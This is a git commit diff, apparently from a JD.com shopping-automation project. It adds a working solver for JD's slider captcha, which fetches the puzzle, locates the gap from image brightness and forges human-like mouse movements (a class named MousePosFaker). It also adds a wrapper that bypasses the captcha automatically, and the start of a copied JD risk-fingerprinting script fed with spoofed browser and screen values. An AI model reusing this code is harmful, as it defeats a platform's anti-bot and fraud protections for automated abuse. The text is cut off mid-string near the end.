commit 5d579c7fcc4d02c7214e0680763859916d1e1a58 Author: Faker Date: Sun Feb 27 19:16:44 2022 +0800 first commit diff --git a/CK_WxPusherUid.json b/CK_WxPusherUid.json new file mode 100644 index 0000000..d0979d4 --- /dev/null +++ b/CK_WxPusherUid.json @@ -0,0 +1,14 @@ +[ + { + "pt_pin": "ptpin1", + "Uid": "UID_AAAAAAAAAAAA" + }, + { + "pt_pin": "ptpin2", + "Uid": "UID_BBBBBBBBBB" + }, + { + "pt_pin": "ptpin3", + "Uid": "UID_CCCCCCCCC" + } +] \ No newline at end of file diff --git a/JDJRValidator_Pure.js b/JDJRValidator_Pure.js new file mode 100644 index 0000000..a930969 --- /dev/null +++ b/JDJRValidator_Pure.js @@ -0,0 +1,532 @@ +const https = require('https'); +const http = require('http'); +const stream = require('stream'); +const zlib = require('zlib'); +const vm = require('vm'); +const PNG = require('png-js'); +let UA = require('./USER_AGENTS.js').USER_AGENT; +const validatorCount = process.env.JDJR_validator_Count ? process.env.JDJR_validator_Count : 100 + + +Math.avg = function average() { + var sum = 0; + var len = this.length; + for (var i = 0; i < len; i++) { + sum += this[i]; + } + return sum / len; +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +} + +class PNGDecoder extends PNG { + constructor(args) { + super(args); + this.pixels = []; + } + + decodeToPixels() { + return new Promise((resolve) => { + this.decode((pixels) => { + this.pixels = pixels; + resolve(); + }); + }); + } + + getImageData(x, y, w, h) { + const {pixels} = this; + const len = w * h * 4; + const startIndex = x * 4 + y * (w * 4); + + return {data: pixels.slice(startIndex, startIndex + len)}; + } +} + +const PUZZLE_GAP = 8; +const PUZZLE_PAD = 10; + +class PuzzleRecognizer { + constructor(bg, patch, y) { + // console.log(bg); + const imgBg = new PNGDecoder(Buffer.from(bg, 'base64')); + const imgPatch = new PNGDecoder(Buffer.from(patch, 'base64')); + + // console.log(imgBg); + + this.bg = imgBg; + this.patch = imgPatch; + this.rawBg = bg; + this.rawPatch = patch; + this.y = y; + this.w = imgBg.width; + this.h = imgBg.height; + } + + async run() { + await this.bg.decodeToPixels(); + await this.patch.decodeToPixels(); + + return this.recognize(); + } + + recognize() { + const {ctx, w: width, bg} = this; + const {width: patchWidth, height: patchHeight} = this.patch; + const posY = this.y + PUZZLE_PAD + ((patchHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = bg.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = patchWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } + + runWithCanvas() { + const {createCanvas, Image} = require('canvas'); + const canvas = createCanvas(); + const ctx = canvas.getContext('2d'); + const imgBg = new Image(); + const imgPatch = new Image(); + const prefix = 'data:image/png;base64,'; + + imgBg.src = prefix + this.rawBg; + imgPatch.src = prefix + this.rawPatch; + const {naturalWidth: w, naturalHeight: h} = imgBg; + canvas.width = w; + canvas.height = h; + ctx.clearRect(0, 0, w, h); + ctx.drawImage(imgBg, 0, 0, w, h); + + const width = w; + const {naturalWidth, naturalHeight} = imgPatch; + const posY = this.y + PUZZLE_PAD + ((naturalHeight - PUZZLE_PAD) / 2) - (PUZZLE_GAP / 2); + // const cData = ctx.getImageData(0, a.y + 10 + 20 - 4, 360, 8).data; + const cData = ctx.getImageData(0, posY, width, PUZZLE_GAP).data; + const lumas = []; + + for (let x = 0; x < width; x++) { + var sum = 0; + + // y xais + for (let y = 0; y < PUZZLE_GAP; y++) { + var idx = x * 4 + y * (width * 4); + var r = cData[idx]; + var g = cData[idx + 1]; + var b = cData[idx + 2]; + var luma = 0.2126 * r + 0.7152 * g + 0.0722 * b; + + sum += luma; + } + + lumas.push(sum / PUZZLE_GAP); + } + + const n = 2; // minium macroscopic image width (px) + const margin = naturalWidth - PUZZLE_PAD; + const diff = 20; // macroscopic brightness difference + const radius = PUZZLE_PAD; + for (let i = 0, len = lumas.length - 2 * 4; i < len; i++) { + const left = (lumas[i] + lumas[i + 1]) / n; + const right = (lumas[i + 2] + lumas[i + 3]) / n; + const mi = margin + i; + const mLeft = (lumas[mi] + lumas[mi + 1]) / n; + const mRigth = (lumas[mi + 2] + lumas[mi + 3]) / n; + + if (left - right > diff && mLeft - mRigth < -diff) { + const pieces = lumas.slice(i + 2, margin + i + 2); + const median = pieces.sort((x1, x2) => x1 - x2)[20]; + const avg = Math.avg(pieces); + + // noise reducation + if (median > left || median > mRigth) return; + if (avg > 100) return; + // console.table({left,right,mLeft,mRigth,median}); + // ctx.fillRect(i+n-radius, 0, 1, 360); + // console.log(i+n-radius); + return i + n - radius; + } + } + + // not found + return -1; + } +} + +const DATA = { + "appId": "17839d5db83", + "product": "embed", + "lang": "zh_CN", +}; +const SERVER = 'iv.jd.com'; + +class JDJRValidator { + constructor() { + this.data = {}; + this.x = 0; + this.t = Date.now(); + this.count = 0; + } + + async run(scene = 'cww', eid='') { + const tryRecognize = async () => { + const x = await this.recognize(scene, eid); + + if (x > 0) { + return x; + } + // retry + return await tryRecognize(); + }; + const puzzleX = await tryRecognize(); + // console.log(puzzleX); + const pos = new MousePosFaker(puzzleX).run(); + const d = getCoordinate(pos); + + // console.log(pos[pos.length-1][2] -Date.now()); + // await sleep(4500); + await sleep(pos[pos.length - 1][2] - Date.now()); + this.count++; + const result = await JDJRValidator.jsonp('/slide/s.html', {d, ...this.data}, scene); + + if (result.message === 'success') { + // console.log(result); + console.log('JDJR验证用时: %fs', (Date.now() - this.t) / 1000); + return result; + } else { + console.log(`验证失败: ${this.count}/${validatorCount}`); + // console.log(JSON.stringify(result)); + if(this.count >= validatorCount){ + console.log("JDJR验证次数已达上限,退出验证"); + return result; + }else{ + await sleep(300); + return await this.run(scene, eid); + } + } + } + + async recognize(scene, eid) { + const data = await JDJRValidator.jsonp('/slide/g.html', {e: eid}, scene); + const {bg, patch, y} = data; + // const uri = 'data:image/png;base64,'; + // const re = new PuzzleRecognizer(uri+bg, uri+patch, y); + const re = new PuzzleRecognizer(bg, patch, y); + // console.log(JSON.stringify(re)) + const puzzleX = await re.run(); + + if (puzzleX > 0) { + this.data = { + c: data.challenge, + w: re.w, + e: eid, + s: '', + o: '', + }; + this.x = puzzleX; + } + return puzzleX; + } + + async report(n) { + console.time('PuzzleRecognizer'); + let count = 0; + + for (let i = 0; i < n; i++) { + const x = await this.recognize(); + + if (x > 0) count++; + if (i % 50 === 0) { + // console.log('%f\%', (i / n) * 100); + } + } + + console.log('验证成功: %f\%', (count / n) * 100); + console.clear() + console.timeEnd('PuzzleRecognizer'); + } + + static jsonp(api, data = {}, scene) { + return new Promise((resolve, reject) => { + const fnId = `jsonp_${String(Math.random()).replace('.', '')}`; + const extraData = {callback: fnId}; + const query = new URLSearchParams({...DATA,...{"scene": scene}, ...extraData, ...data}).toString(); + const url = `https://${SERVER}${api}?${query}`; + const headers = { + 'Accept': '*/*', + 'Accept-Encoding': 'gzip,deflate,br', + 'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8', + 'Connection': 'keep-alive', + 'Host': "iv.jd.com", + 'Proxy-Connection': 'keep-alive', + 'Referer': 'https://h5.m.jd.com/', + 'User-Agent': UA, + }; + + const req = https.get(url, {headers}, (response) => { + let res = response; + if (res.headers['content-encoding'] === 'gzip') { + const unzipStream = new stream.PassThrough(); + stream.pipeline( + response, + zlib.createGunzip(), + unzipStream, + reject, + ); + res = unzipStream; + } + res.setEncoding('utf8'); + + let rawData = ''; + + res.on('data', (chunk) => rawData += chunk); + res.on('end', () => { + try { + const ctx = { + [fnId]: (data) => ctx.data = data, + data: {}, + }; + + vm.createContext(ctx); + vm.runInContext(rawData, ctx); + + // console.log(ctx.data); + res.resume(); + resolve(ctx.data); + } catch (e) { + reject(e); + } + }); + }); + + req.on('error', reject); + req.end(); + }); + } +} + +function getCoordinate(c) { + function string10to64(d) { + var c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-~".split("") + , b = c.length + , e = +d + , a = []; + do { + mod = e % b; + e = (e - mod) / b; + a.unshift(c[mod]) + } while (e); + return a.join("") + } + + function prefixInteger(a, b) { + return (Array(b).join(0) + a).slice(-b) + } + + function pretreatment(d, c, b) { + var e = string10to64(Math.abs(d)); + var a = ""; + if (!b) { + a += (d > 0 ? "1" : "0") + } + a += prefixInteger(e, c); + return a + } + + var b = new Array(); + for (var e = 0; e < c.length; e++) { + if (e == 0) { + b.push(pretreatment(c[e][0] < 262143 ? c[e][0] : 262143, 3, true)); + b.push(pretreatment(c[e][1] < 16777215 ? c[e][1] : 16777215, 4, true)); + b.push(pretreatment(c[e][2] < 4398046511103 ? c[e][2] : 4398046511103, 7, true)) + } else { + var a = c[e][0] - c[e - 1][0]; + var f = c[e][1] - c[e - 1][1]; + var d = c[e][2] - c[e - 1][2]; + b.push(pretreatment(a < 4095 ? a : 4095, 2, false)); + b.push(pretreatment(f < 4095 ? f : 4095, 2, false)); + b.push(pretreatment(d < 16777215 ? d : 16777215, 4, true)) + } + } + return b.join("") +} + +const HZ = 20; + +class MousePosFaker { + constructor(puzzleX) { + this.x = parseInt(Math.random() * 20 + 20, 10); + this.y = parseInt(Math.random() * 80 + 80, 10); + this.t = Date.now(); + this.pos = [[this.x, this.y, this.t]]; + this.minDuration = parseInt(1000 / HZ, 10); + // this.puzzleX = puzzleX; + this.puzzleX = puzzleX + parseInt(Math.random() * 2 - 1, 10); + + this.STEP = parseInt(Math.random() * 6 + 5, 10); + this.DURATION = parseInt(Math.random() * 7 + 14, 10) * 100; + // [9,1600] [10,1400] + this.STEP = 9; + // this.DURATION = 2000; + // console.log(this.STEP, this.DURATION); + } + + run() { + const perX = this.puzzleX / this.STEP; + const perDuration = this.DURATION / this.STEP; + const firstPos = [this.x - parseInt(Math.random() * 6, 10), this.y + parseInt(Math.random() * 11, 10), this.t]; + + this.pos.unshift(firstPos); + this.stepPos(perX, perDuration); + this.fixPos(); + + const reactTime = parseInt(60 + Math.random() * 100, 10); + const lastIdx = this.pos.length - 1; + const lastPos = [this.pos[lastIdx][0], this.pos[lastIdx][1], this.pos[lastIdx][2] + reactTime]; + + this.pos.push(lastPos); + return this.pos; + } + + stepPos(x, duration) { + let n = 0; + const sqrt2 = Math.sqrt(2); + for (let i = 1; i <= this.STEP; i++) { + n += 1 / i; + } + for (let i = 0; i < this.STEP; i++) { + x = this.puzzleX / (n * (i + 1)); + const currX = parseInt((Math.random() * 30 - 15) + x, 10); + const currY = parseInt(Math.random() * 7 - 3, 10); + const currDuration = parseInt((Math.random() * 0.4 + 0.8) * duration, 10); + + this.moveToAndCollect({ + x: currX, + y: currY, + duration: currDuration, + }); + } + } + + fixPos() { + const actualX = this.pos[this.pos.length - 1][0] - this.pos[1][0]; + const deviation = this.puzzleX - actualX; + + if (Math.abs(deviation) > 4) { + this.moveToAndCollect({ + x: deviation, + y: parseInt(Math.random() * 8 - 3, 10), + duration: 250, + }); + } + } + + moveToAndCollect({x, y, duration}) { + let movedX = 0; + let movedY = 0; + let movedT = 0; + const times = duration / this.minDuration; + let perX = x / times; + let perY = y / times; + let padDuration = 0; + + if (Math.abs(perX) < 1) { + padDuration = duration / Math.abs(x) - this.minDuration; + perX = 1; + perY = y / Math.abs(x); + } + + while (Math.abs(movedX) < Math.abs(x)) { + const rDuration = parseInt(padDuration + Math.random() * 16 - 4, 10); + + movedX += perX + Math.random() * 2 - 1; + movedY += perY; + movedT += this.minDuration + rDuration; + + const currX = parseInt(this.x + movedX, 10); + const currY = parseInt(this.y + movedY, 10); + const currT = this.t + movedT; + + this.pos.push([currX, currY, currT]); + } + + this.x += x; + this.y += y; + this.t += Math.max(duration, movedT); + } +} + +function injectToRequest(fn,scene = 'cww', ua = '') { + if(ua) UA = ua + return (opts, cb) => { + fn(opts, async (err, resp, data) => { + if (err) { + console.error(JSON.stringify(err)); + return; + } + if (data.search('验证') > -1) { + console.log('JDJR验证中......'); + let arr = opts.url.split("&") + let eid = '' + for(let i of arr){ + if(i.indexOf("eid=")>-1){ + eid = i.split("=") && i.split("=")[1] || '' + } + } + const res = await new JDJRValidator().run(scene, eid); + + opts.url += `&validate=${res.validate}`; + fn(opts, cb); + } else { + cb(err, resp, data); + } + }); + }; +} + +exports.injectToRequest = injectToRequest; diff --git a/JDSignValidator.js b/JDSignValidator.js new file mode 100644 index 0000000..f2679d3 --- /dev/null +++ b/JDSignValidator.js @@ -0,0 +1,2080 @@ +const UA = require('./USER_AGENTS.js').USER_AGENT; + +const navigator = { + userAgent: UA, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if (!this.options.excludeWebGL && this.isCanvasSupported()) { + var b = this.getWebglFp(); + _jdfp_webgl_md5 = t(b); + a.push(b); + y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'" + } + return a + }, + pluginsKey: function (a) { + this.isIE() ? (a.push(this.getIEPluginsString()), y = y + ",'plugins':'" + t(this.getIEPluginsString()) + + "'") : (a.push(this.getRegularPluginsString()), y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + + "'"); + return a + }, + getRegularPluginsString: function () { + return this.map(navigator.plugins, function (a) { + var b = this.map(a, function (c) { + return [c.type, c.suffixes].join("~") + }).join(","); + return [a.name, a.description, b].join("::") + }, this).join(";") + }, + getIEPluginsString: function () { + return window.ActiveXObject ? this.map( + "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control 